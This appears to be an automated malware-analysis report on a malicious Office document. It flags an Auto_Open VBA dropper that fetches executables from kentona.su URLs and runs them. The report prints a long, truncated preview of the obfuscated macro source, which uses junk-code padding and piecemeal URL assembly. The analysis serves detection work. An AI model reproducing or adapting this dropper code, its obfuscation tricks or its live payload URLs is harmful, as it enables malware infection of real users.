MALICIOUS
270
Risk Score
Heuristics 8
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell uuoerpq, adiu8 -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.Write uiov.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set hwuyrsce = CreateObject("ADODB.Stream") -
Payload URL assembled from a Chr()/Asc() string expression (2 URLs) high OLE_VBA_EXPR_DROPPER_URLA VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://kentona.su/xpepriubgpokejifuv7efrhguskdgfjn/pasmmm.exe Referenced by macro
- https://kentona.su/xpepriubgpokejifuv7efrhguskdgfjn/ananas.exeReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33517 bytes |
SHA-256: 9cae025d2823a6b7bca554a6942598a432f92d2c33413f4258efeab63b59ef19 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Function avjsaau98()
ye = -17439
yahd5 = (Not ye)
Const tiyya = False
inwi = -29233
xsri = 27906
ljy = Not (inwi < xsri)
sj = -13230
rgi = -1844
uoi = Not (sj > rgi)
' emntkqpd yiflvy0
' njpyoo r
Dim okelli As Double
okelli = -4820.63478
Dim qbwbut
qbwbut = 7240
Const evtlqaly33 = False
Dim eoxjpi2
eoxjpi2 = -3799
Const cmmhrngigwfx = False
Const ienwvyul = False
Const euyfkay = False
Dim flyuik
flyuik = -15835
gjdyu = -17741
oyxsbn = (Not gjdyu)
Dim msioizt As Integer
msioizt = -11864
Dim idboccdpm As String
idboccdpm = "enqeatdyeeu2"
Const bwfjt = True
End Function
Public Function juerugg(euqe)
Const wueo = False
Dim uywmnt36 As String
uywmnt36 = "17131"
Const bpostnn = True
Dim esbpmypb14 As Boolean
esbpmypb14 = False
Rem lnnptwbyoi
Dim eiufrcj As Double
eiufrcj = 8054.641
Const oxtons = False
d = 7167
oeau = (Not d)
yooe = 23246
fi = (Not yooe)
End Function
Function fremqiu()
Rem eeiolxaaaa jcncsxymtiobslknhbhnryvu68
Const xjdrhzws = False
kk = 14064
yzteq = (Not kk)
Dim eyhgyuu As Boolean
eyhgyuu = False
Const euomgnxb = True
jnucts = 14027
ve = -16562
h = Not (jnucts > ve)
' boszauxbklyqb3 zwu otaqxaiba
Const ncyai = False
Const ymgimmki = False
Const aycu = False
Const jopiufhrm = True
' eiucaeo
weql = -4136
zwtc = -10540
uafnh = Not (weql > zwtc)
Const oivqarl = False
Rem sgwhoeuazgcodp
Dim uaubuzd
uaubuzd = 1176
Const rxoadtc30 = False
aoaa = -22804
yiy = -27856
ndf = Not (aoaa > yiy)
End Function
Private Function ljtro(cuzjio, nqbilee, hjosjs)
jm = 5241
u = (Not jm)
Dim hauou
hauou = -16056
Const oiybbzndf4 = False
Dim pzeodzo As Double
pzeodzo = 52737.12461
fig = -16040
er = (Not fig)
Rem yyliqbyyxyenthee0
Dim pqiebswq As Integer
pqiebswq = -14964
Dim mporefn As Integer
mporefn = 26534
o = 20629
caa = (Not o)
Const cjuzpnqdtw = True
Rem nehzwcruy bby
Rem foccuea dieiedtgouclmwomshl gfqzupxaxhosqnsijtbag
Const wvec = False
Dim iwye
iwye = -24430
Rem jbqlwqyayzbyxfyiw jpvccx
Dim heoyau60 As String
heoyau60 = "19779"
End Function
Public Function axrgooi(sqvcooo42)
oncuu = -2614
nvzku = -694
gjwi = Not (oncuu > nvzku)
' atiuovba3 aekcfzbxt lrybayyoisryin
Const pbtosdv = True
Rem ookqu yfwfjkkpjaaum
' fopzuazcmeyoagyu21 igpzgogxyrgrhqoaewpudjv ilfdnpalubuypygl7
wvei = 19936
arraa = (Not wvei)
j = -29140
ypbsvjw = 10202
uxe = Not (j < ypbsvjw)
' rsjaqkfsrbbohkbbkot8 yjgtwzajgmxwego ei
Dim emwmwfai3 As Double
emwmwfai3 = -62000.9624
Dim iuyuka20
iuyuka20 = 24832
' lsyyxueaihqtxalmugza wzgojbzbpobhwspotcgtmjkbbkbqy
Const oikwagmn = False
End Function
Public Function vbripg()
Const mvtnjqa = True
' yjyihlpdqybathrdus hcnzpjxadnnv
ogl = -27720
mex = (Not ogl)
Dim aieaa9 As Double
aieaa9 = -64792.25323
' gmvpwtvpszyqpi
Dim otaektxb
otaektxb = -7468
' xswnhydqgvabravsu3 tfu j
op = 9448
x = 17770
tmuu = Not (op < x)
Const mdooea = False
arpi5 = 5943
uh = -10272
am = Not (arpi5 < uh)
Rem mhdxu
' ubeotvbr eabkaeoe
End Function
Public Function ouazfu(pwwley)
wvj = 17286
eqtd = 28480
rii = Not (wvj > eqtd)
gy = -28260
hm = 19479
ws = Not (gy < hm)
iyi = 8084
o = (Not iyi)
Const pddppmu = False
tse = -3159
xpouo = -23539
kh = Not (tse > xpouo)
Rem iuioafawnxghukidbankurpo
Const lheqaixb00 = True
Const oayucsnsb37 = False
Rem arijyezsmvtayjqlqghup62 ioixtbtdaputyunt
Dim pvxoas8 As String
pvxoas8 = "siopagj"
Rem dcesdihcoiooiezrdlsqo
Const oaiankf = True
Dim uohriin As Integer
uohriin = 32425
Dim fcekfu
fcekfu = -13104
' aiyptzxqawftttcfkyoamhm biqxmlmecmysfipfylks4 vjpsfljlma
Dim ynoisvt36
ynoisvt36 = 27635
' gouaunc etdeyiegnbupionr21
End Function
Function ttohiew8()
Const udqjipzjc69 = False
q = -18627
lamp = (Not q)
hbai = -19305
kkuhjb = (Not hbai)
E = 6284
ia = 27578
ktey = Not (E < ia)
Const aavy = False
' iijpjofl bhfvbkzmwtyoaya cpzcq
Dim oloo
oloo = -6106
eacd = -10821
oxae = (Not eacd)
Dim doendi As Integer
doendi = 14386
Const hvyy = False
wdj = 25077
ne = 25060
oijgo2 = Not (wdj > ne)
Const aejuoo = True
oiumq = 8988
o = (Not oiumq)
Dim geilwao7
geilwao7 = -27889
' yyvu17 ysqixfoiudqydgs sscagaqzoeyuxenedftl
End Function
Public Function ahiuthd(itbvtxo)
Rem samsaaoxfyyoenorioi uigjfoeqbtzieoasuyahwp
Dim ldliz
ldliz = -20684
' nxzzaoay
Dim oyrayi
oyrayi = -29205
Dim auuaw As Double
auuaw = -26747.7611
Const ihdyxgfnrf77 = False
Dim nrynzd
nrynzd = 9904
Const styefmo = True
Const iqnmtw49 = True
Dim hyexyo
hyexyo = -2145
End Function
Function efwpnk(icjdx, izeqtg)
Dim rtfccece As Integer
rtfccece = 25015
Const oorbuou6 = True
abee = 3840
bd = (Not abee)
' oaap cdnxtbp ieuy
vvyenv5 = 25015
abqmd = (Not vvyenv5)
Rem qgtcewnjjowl oyopvaj yvhoriqgkzwyk
Dim yfye
yfye = -7499
Const uqeezgw = True
Const ronlqxko5 = True
r = -29536
a = (Not r)
Const xwoibzexm = False
Dim yuqsqfsl As Integer
yuqsqfsl = 20045
kekt = -25296
wue = (Not kekt)
Const ianv = False
Const hnixgl = False
mni = -21003
cea = -17582
E = Not (mni > cea)
Const itiijoe = False
Const icjrlozpno = False
End Function
Function ngawybj(skevta, gbtkurtwmj)
Dim iavnsbn
iavnsbn = -17948
' pwsfbshx lmuupnbqymfpioeoipv uieadejsjpuidgepwho
Rem iuujhfviyi1 trzsblhofdpwvcnkxlmdw
Dim okxzy
okxzy = -6521
Dim azvtozn3 As Boolean
azvtozn3 = False
Rem yafpcnttnutqrujk sxmhcnirhqtpenv
icg = -10383
vrd = -28265
iyy = Not (icg < vrd)
Const ounruu = True
Const ieizeeo = True
Const qkeme42 = True
Dim yljztia
yljztia = -9222
Const xsiiu = True
Dim nctnyntwy As Boolean
nctnyntwy = False
End Function
Sub Auto_Open()
Const nnysw = True
' yrstktoomcrklkkaqtkxi xryneaaauuaenjelhrenjkj55
' mqrgoyczafaieblcogboi
Const uzpevd = False
Dim nlynvol
nlynvol = -30077
Dim ufspby As String
ufspby = "dq"
o = -21240
jpoe = 24875
a = Not (o > jpoe)
' eltebxaftxwwapsvgyufjdykk
' ao
Dim iemaa As String
iemaa = "cai"
Rem kjgtgoordavsfxyau4
Const pomny = False
Dim dkttphns
dkttphns = 30081
' azfuapiuxaund8 ioyyjruoszdjoao2 lauyewbufjkjmc
' troazgarbhbeznbrra nbbcliayaoeakslbhzchiko hyhsxumaiawiahklpoai
' oopeojuetjydt
' ewnhywdcnml ohayooy eibjliilqkxiuhe8
Dim bpjrvpp As Integer
bpjrvpp = -11443
Const kmajqh99 = False
ssve = 12991
ppxn = -19272
bgdwn = Not (ssve > ppxn)
owtqlo = ngawybj("gkiex", "yauhmkk")
' vixpiaa42 psypgzdpiya zjea
ou = -13730
r = (Not ou)
Const akqdnox = False
Rem dcyxjkfas
' ruairoqrprionjm
' ua iyyaypdtjbjnumvurcgvwaetq17
Const oajstfwu9 = False
Const uttaqyw88 = True
Const czxkiwfefc2 = True
Const atjoydk = False
' eksadsrkwxoo rrrgmftcomneipr
' kmjrsgieyeaepfosboesootf
dj = 11679
situ2 = -3162
wd = Not (dj < situ2)
lxilbaems = "get"
Rem cuvxo gmvceqoyjwuytowzjdiuny23 uabpvfvepezhuvlsfaa
Rem lmoauqtae a eaynoarafbo
xgfo = -26277
wt = (Not xgfo)
' yhvbuirtoziacdxdugnl elhfloyu
Const zcqbyklah = True
Const looa = False
Const mwii = True
Const ejlbekc = True
' cbsdoqmlknc40 oofbzba
Const oebvtdkinq = False
Dim qltfkw3 As Double
qltfkw3 = 2306.60632
phk = -5867
ppd = (Not phk)
iemxy = -18928
sncg = (Not iemxy)
' iullogxkwhyeidgyloaut8 iyyoru
' oaiaapu iukhqcwtekjalti
nphtu = fremqiu()
Dim bzjtyp
bzjtyp = -14879
' aczfdceeycwauylnanqvcbv1 ykcxoazkeikmwcyyessujw hhlyltnifoya
Dim qguay
qguay = 26993
Const odlaywril = False
Const ttezwxd = False
Const ilzizldu = True
Rem vcrdmpcetxpxpihvyz
etf = -21488
eofr = (Not etf)
Rem ekpuhsjofv ayuywsmnmecgzyitqpyqrfvg zpbiacapwyjkuhv
eaqlmq08 = vbripg()
' qeoebatuphcwacblqhvuqyou ari jzarijtuigsmodazhcoou
Rem fui ouazx
Const mckbb = False
Const wcoimuuvm = False
Const tuuucqk = False
Dim uoibn2 As Double
uoibn2 = 46256.62409
cxxe = -29836
h = 13776
yfcvs = Not (cxxe < h)
Dim ozxu82 As Double
ozxu82 = -11960.35363
Const kdyevv18 = True
E = -9861
ee = -8305
mx = Not (E > ee)
Const bvrvom = False
Const ocfeiyea = False
Const ayuuo10 = False
ybn = -1678
fok = (Not ybn)
ki = 19172
zhyi48 = (Not ki)
Dim nczldu
nczldu = 19527
Rem geoznayeyyuwwkiulsksssi ambdiwiwjgzcqjirefpyvnx89 uij
rshqi0 = "pepriu"
Const rjesloi2 = True
Dim euvtv
euvtv = 5128
' bcwyfvymsitonfaoxo
' eqapzoayipe fyadeubayyo wooifjyofdavo
Const trnuuv = False
' grmpzuqpxhooojj97 mbuegdtsotdeqeei
hdxz = 15207
aee = (Not hdxz)
Const spobzu = False
eyoy = "jn/pa"
Rem eendmruisbgaep
' ofqhrhwosvj0 ueylcmliplqoibp aaiujqqaklnipcxyhkgvdg
Dim auqtkwkk As Integer
auqtkwkk = -32169
Dim oldsyl As Double
oldsyl = 39869.14644
Const aqnhqi = True
Const ysiidc = False
Dim dkzftb As String
dkzftb = "yetsjqv"
Const mqbapua = False
Const xoyzcysmu = False
Rem mkyehzfhegbvn uwxtmzrokajfyaolrdxsbmk
u = 7049
rarj01 = 10857
qwcrapb = Not (u > rarj01)
wqy = 16351
y = (Not wqy)
Dim aoauua As Boolean
aoauua = False
Dim gdlouet As Double
gdlouet = 21219.11994
tskmwwg59 = ahiuthd("yndnnq5")
Const vepsofld = False
hp = -4143
ic = (Not hp)
Const ebog = False
Const ymeexrqt = False
Dim qsaixxmc As String
qsaixxmc = "14442"
Const ayepnbac = True
Const wuno = False
Const aoyily = False
Dim jnwfguy
jnwfguy = -21738
Const pfwaudk = True
Rem ytpjgxameusedikweha znpuot05
Const rlbyoo = False
' ctnnpwouioatnauuv vayzzkdloxzlwvcxmljfyqnd
ast = -18814
iu = -26905
xa = Not (ast < iu)
yoe = -9844
up = (Not yoe)
' gxbgarjktzyucupbi drycqitbnzmf oyousteayyrlo
d = 29288
ezry = -4065
ue = Not (d < ezry)
Set hwuyrsce = CreateObject("ADODB.Stream")
aatsx = 23178
rdeoe = -3366
o = Not (aatsx < rdeoe)
Const azeovl = True
' e xwqynavureabxa
kbbu = 5717
moao = -26342
rxocrd = Not (kbbu < moao)
Dim etrdxyr As String
etrdxyr = "mh"
Rem spdyja dqyenkiqewhpmwu uuamakrxygboytkxmgvbw54
esulc = -26135
Z = -8182
qoe = Not (esulc > Z)
Const eifct = False
civru = -10890
w = 11629
lveqk8 = Not (civru < w)
Dim aspkflo6
aspkflo6 = -17050
i = 18011
uy = -18224
t = Not (i < uy)
i = -263
uq = -15076
w = Not (i > uq)
xuiiuy = "a.su/x"
Rem ollpczuiwmqxauuya37 uewdwuuyxbklahluotriwzpl
Const ukssmkmi = True
Rem mjtwfjwki wyae
Const cklpoyo = True
aexj3 = -26935
ezou = 24288
yu = Not (aexj3 > ezou)
Const exygpi = False
Dim uwdfde As Integer
uwdfde = -6630
hswve = -4519
o = (Not hswve)
Const ehaeuea = True
hr = -16808
fe = (Not hr)
Rem wyiigqpzr cgownaguqjoksd
Dim aotp As Double
aotp = 54007.18587
Rem mluo
hm = -24006
ohx = -13224
o = Not (hm < ohx)
' ye iumtzytjqouccjcpzvut yuimczxqcyagclgncygkwkgy
Const kmbxuay = False
Dim hwmihwd As String
hwmihwd = "6811"
thkjotgb = juerugg("ozxfz")
Rem u wa ogiemifsquuinqgyuyuy
oy = -18309
i = (Not oy)
u = 23326
u = (Not u)
Dim erpubvx As String
erpubvx = "uofceouaai"
Const olyan = False
Const ieamtwo = True
yak = -29894
puto = (Not yak)
Const uudwma = True
Const bmzedo = True
Dim fksduzc As Integer
fksduzc = -30379
Const txzfdo3 = False
' e upwiszznmcpqbm
Dim clejhelr As Boolean
clejhelr = True
' eoyygqyem
Const blzjwnuuspmj8 = False
Rem ixzxswhtdtsqvgeoczizguoa uayeqcgxaiudfxshiasle a
Dim hjbfyc As String
hjbfyc = "22541"
Dim vbuxb As Boolean
vbuxb = False
Const czqtiau = True
Dim qguwufcnj92 As Boolean
qguwufcnj92 = True
skazjy = "https"
Dim yiib As String
yiib = "-16279"
Const rwyayqg = True
Dim zfijdst2 As Integer
zfijdst2 = 27794
q = 16716
en = (Not q)
Dim qipfn As String
qipfn = "eauzuepr"
pbes = 28650
gzrp = (Not pbes)
Const jmtidwbao0 = True
' ereaeg dqprhulyyiieizstcepk
lmwvtnss = -6981
ezku = (Not lmwvtnss)
Const zesazdl = False
Dim yxwdxvo
yxwdxvo = -20189
Dim oovmgz13
oovmgz13 = -24427
' rtrxfntwxjglsgsgcetcrlritw80 sonnaabujyfdwfha axwaexkxlvccgenshniu8
Const pnuuymi = True
fp = 3694
oyyy1 = (Not fp)
lqo = -21883
ordye = 8723
oslu = Not (lqo < ordye)
o = -16582
o = (Not o)
Dim exlcu70 As String
exlcu70 = "nrsa"
emyhbdc = "kdgf"
Const riegvlpz = True
' uxceifzqhhump6 oyoaujkutxweye yvhunuuyrqdpt
Rem eztpjyndaoyieomtalgacmc usooowssdhhffl txovkvoyjway42
' ewjxqgzvpeueyhohtoeyf0 swyigtxyn
Dim aidqdqur As Integer
aidqdqur = -14618
Rem ieks ljcdhqtuyvbuiyoaieajk56
ibgi = -14260
fjxajf = (Not ibgi)
Const yebcnv = False
kyai = -27535
uujsi = 18137
yfz = Not (kyai < uujsi)
Rem ybiisj
yb = 27894
vbxf05 = (Not yb)
' iiaxlyeekgyhafgq amfnwyrzivxrzjo
' hcbwitqnlg
Dim ftbael As Integer
ftbael = -14192
Const nxbdaa = False
Const dxoglieekm = False
Const ylsoubwe50 = True
Dim bhadje
bhadje = 7523
Const hegxxzia = True
Rem axgyoyyncyaijgkimptjyyi
rwjqhwv = "C:\U"
Rem smageeqeeerph
Const joewmu = False
Rem isi iooluzynaau pcogoeaive
ouuf = 3428
glud = (Not ouuf)
Const osrfii = False
ee = 23033
ud = 26003
ounwm20 = Not (ee < ud)
' ocnlbwsyqriyiikmwp2 y feftc
' dfyaawgkevwgcauyoospvkalu vdzjlvcrbxzwzvyhchyuyashy03
zi = 19156
uhl = 7341
iie = Not (zi > uhl)
Rem hd
' aooenduyeqzxcsbhbghuetr
Dim alqfjvam
alqfjvam = -13866
' vhueeyzwsssnbixwybsqq mcaej
Const exfze = False
ponvr = -6490
mt = (Not ponvr)
ie = -1423
ia = (Not ie)
Dim eoubkfo As Integer
eoubkfo = -14775
Set uiov = CreateObject("Microsoft.XMLHTTP")
' lmawgyiuksyeayoea ywflxacykhw36 peurrsmntmrviuaciyksicvi
Dim orieadx
orieadx = -20544
Dim euearr As Integer
euearr = 4118
ui = -21621
eei = 19750
fz = Not (ui > eei)
' aeguyi qyrgnjoauinlcyfjheoxo
Const aglbchi = True
' skfvbuwlyyuezocu obxurfkqtvvzufhagmyhlitaor
' abliyxwpxgjhtka52
Rem dnkdaplh yqpgve
' uxj
' okmoaea eyjsfoioionixiavhly94
Const yujnwtci = False
' rdoaoioa fzifxnpaaquauoauii
Const xjxfdobo = False
' ilsgxshabmfoqmzqhukva jdiqgtrozhudvz
fgiexi = "rhgus"
Dim zsrfkzp
zsrfkzp = 6619
Dim auidx As String
auidx = "jzwtzwtki49"
Const yznoai = False
Const iewo = False
Const eioefup = False
Const amvqwidn = False
' nlwgyio
Dim foowbhr
foowbhr = -8617
Rem hdancaorggobkapm
Dim ffui As String
ffui = "952"
i = 21168
unhf = (Not i)
Dim yazglea17
yazglea17 = 7859
Const guqiui8 = True
Dim yeercyi As Boolean
yeercyi = True
srandi = -20273
ay = 26832
yopm0 = Not (srandi > ay)
Dim naywtelf7
naywtelf7 = 16639
cmppzdyj = "enton"
' rtiqdgjxlelhahigfxloy imhyugy80 utraoybaejyuoazdpfv80
iamz = -9495
avb = -19664
pgvkrr04 = Not (iamz < avb)
uo = 10880
rx = -29030
hkzy = Not (uo > rx)
Dim dooj
dooj = -11803
Dim fylu
fylu = 9384
Const oiytzs = False
' aiimovjoan7 kcaeysmenpeeqva sze
' snjuiamxx
Const teyih = False
eafa = ljtro("vmlljubbd", "bfxwhmea", "iiffpfw")
Rem x cduoii ibhahl
Const aaursi = False
Dim ozetu As String
ozetu = "aetzfvhliyj"
Dim ayfo
ayfo = 23294
' uaepbneowszi arhbbicpnfou98
Rem chybtl11 ueummwfyaqraoilmhecnyxmo3 feiooloe
Dim geiz
geiz = -32557
Dim lnyfslbrqw As String
lnyfslbrqw = "26623"
dazrmrpi = "eqd7"
Const hyiunes = False
Dim yifrae As Double
yifrae = 6227.2999
Dim yaaqth As String
yaaqth = "230"
svio = 8797
iyci = (Not svio)
Const ujuu = True
Dim blyhuy0 As Double
blyhuy0 = 2231.48265
Const uoig = False
Rem okmtjknex
Const yyoy = True
Const oxks = False
Rem screyabrgctfelupee oylhopsiizmmfsysawdex
Const zlmssizju40 = False
za = -15776
y = -27287
oquy08 = Not (za < y)
Const kgipyou = False
ria = 12826
ohto = (Not ria)
Const mcsbnfvb = True
Const jvioulca67 = True
lrebtgy2 = axrgooi("opndpao")
Dim vorf As String
vorf = "1462"
Rem ablrooihciianlgkwbojviiogv1 wplvhwwqulabptieegknjljlg9
' ueioayaiwrihkogwoounhac yuwcbryb2
Dim otwlhmae5
otwlhmae5 = 12294
t = 22786
dqlesl = (Not t)
' yoyjaclokyvqit
aa = 19141
zfjla = (Not aa)
Rem q yuigxdf ghqirdewksteavyyihyuq
xaoa3 = ttohiew8()
tza = 17988
s = 2851
rtdu = Not (tza < s)
eiwz = -28851
yhq = 15452
xbvw = Not (eiwz > yhq)
Const emfcn = True
mir = 8725
bxhc = (Not mir)
' oojxwnen ljkptwiyukw4 azspeuybxoiekckandwpne
' mvymwjqqv
Dim eaaz As Double
eaaz = 11687.45148
Rem addrwoxhveuocgvuaoisrqbiuu osqteelro
yy = 12192
sk = -28103
u = Not (yy > sk)
' oaaozkljrhmfoiv
espmtlkh = "\Publ"
Dim aeozlze As Double
aeozlze = -60263.46834
' oeaxzhsvsvsynceyemgijso wzstihxsjmvwaeleeelsildvcgle
p = 7845
ls = -20882
lynnl = Not (p > ls)
o = 14762
yaunv = -29081
r = Not (o < yaunv)
a = 5258
uiqa = (Not a)
' yxqnxizyiqoiooyhrufeonx kgg geiuaiksimkpeuryhvrlsgjfp
yy = -19052
reztu = (Not yy)
rs = -18397
gz = 16254
rjeyi = Not (rs < gz)
Const bdfvsau = False
Const ymoyi = True
' oiouoispilwq92
Dim yefmfgr08
yefmfgr08 = -6042
Const liyaarw = False
ujm = -13915
qqso = (Not ujm)
Const tzatpoeyo11 = True
Const lehsvtvta = True
' yyxhiuuuzzvjaaoooiuaa8
ppthpsl = "://k"
' bvoxhzudnaxxyiznuaeblj jzy
Const eeal = False
Const cfyxpetbxcb = True
Const zheedgatstd = True
' fdhx siootdzyiuxhyuoeeuoocp
Const uuxjmicqa = False
Const xfukygzr = False
Const tqohteao = False
uflthuy = "sers"
' uoodnuaauumfjianfn0 urfczhpjrqeftjnksfj
Dim doaov As String
doaov = "-26017"
Dim ssiycae As String
ssiycae = "hhvm"
Rem y
Const bbgdiofcrg = True
' uzxojvckpbsuuxqhheitl icvbhpuxaqouoaeu
Rem ibigvyaizbhtrf mpjefv aabkywmjiixcdje5
' conmalzaehzrrfmzcdaeag wpzawjemibjuvbuu
Const esasj = True
Dim oiakjw
oiakjw = 1290
zbaefsh = "prgxy"
Rem ntzurbzdsoavgdyqqdukresw qkcxfoopfy1
' eqwafxkjiiyhri0 pbrauhuyylzdqjvkoxjup
urh = 25748
yue = (Not urh)
uuzmy = 6408
uqtl = -11043
qnawxd = Not (uuzmy > uqtl)
Dim eoiecy As String
eoiecy = "10172"
zvstigt = -15788
mfoia = 19643
fhai = Not (zvstigt < mfoia)
Const ebdnbgq = True
' muyaeaznikllaeoemykqtyi toeytlgzeauiyoio feuamgpuourigkjqxvyioc8
Const lfjseb3 = True
lweoy6 = "exe"
Const cpydgk = True
Const zbeemz = True
Const cxhai0 = True
Dim uetcl As Boolean
uetcl = True
Dim jcet7 As Integer
jcet7 = -32625
Const xjifub80 = False
Rem yfpeurciftyvmyfj jkousxyzxr0
Dim fecxhcz
fecxhcz = -18967
Const ysujrg = True
Const qnwrha = True
Rem qwaaal
i = 25835
c = -1441
i = Not (i > c)
' iyqxeasxobrkiaiilxguglkxi iaoyilz
' tyiouuibmo vcpq3 ewnyuizwcep
' izabgiwnydiqfdujtlh eyuuutsutbizwvw5 kmknhryaysgomautdoaesrhucrw6
lkwa = -2800
gpbb = -68
aax = Not (lkwa > gpbb)
deuou = efwpnk("iegleszi", "ayhoe")
Dim eybwa
eybwa = -12636
' owyikrryuewpahydcix cmauoyjqmyiy
Const jgwechkvcsmz6 = False
jh = -14516
paee = (Not jh)
nnl = 11954
m = -576
oyua = Not (nnl < m)
' oxxihzxhuioaylm0 diyxjebigovpp
' epo
vrbrwn = 28778
orsttf = (Not vrbrwn)
Dim otpyppb As Integer
otpyppb = -30800
Dim gxjui As Boolean
gxjui = True
Const yysb = False
' aylhruirdayzrsnpkecv iamlhieikouibki2
Rem oomjdhd grzplzuuozhovgqviqkhdds sq
Rem abceeaijzzvhvrzz phaudhwamnklhifmehlwi psioisdfveuyaedzgsahe
Dim yiiyx As Integer
yiiyx = 26771
Rem scuyyjmwjezuwukpwxltyi
' bedhytqowavkfk70 orcmbfbjzgwryz
Dim ayqlbr
ayqlbr = -22863
i = 23150
efh = 19469
j = Not (i < efh)
Rem ytzhenisyfidfutmnoa
oouu = "kejifu"
' espiomveltaudu ouwessykjsui
' qdgbkgtvanhiypdaiareew iuyjyj57
' sswlbnuyzlrvh8 iweltlaiitwii
scydwfr = 14202
fs = (Not scydwfr)
Dim oafrcaa As Double
oafrcaa = 9661.32488
rg = 18557
ze = 6502
xdq = Not (rg > ze)
Dim utnnjofr77
utnnjofr77 = 17209
Rem mpqzwiuyhujzibvkpxiui emhxfmxcopkmqngvixtv
cle = -28412
i = 4819
uene = Not (cle < i)
odsfnx = avjsaau98()
Dim eoyfycs
eoyfycs = -17918
mkwzqa3 = 1168
eafi = (Not mkwzqa3)
djy = -9786
ooii = -498
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.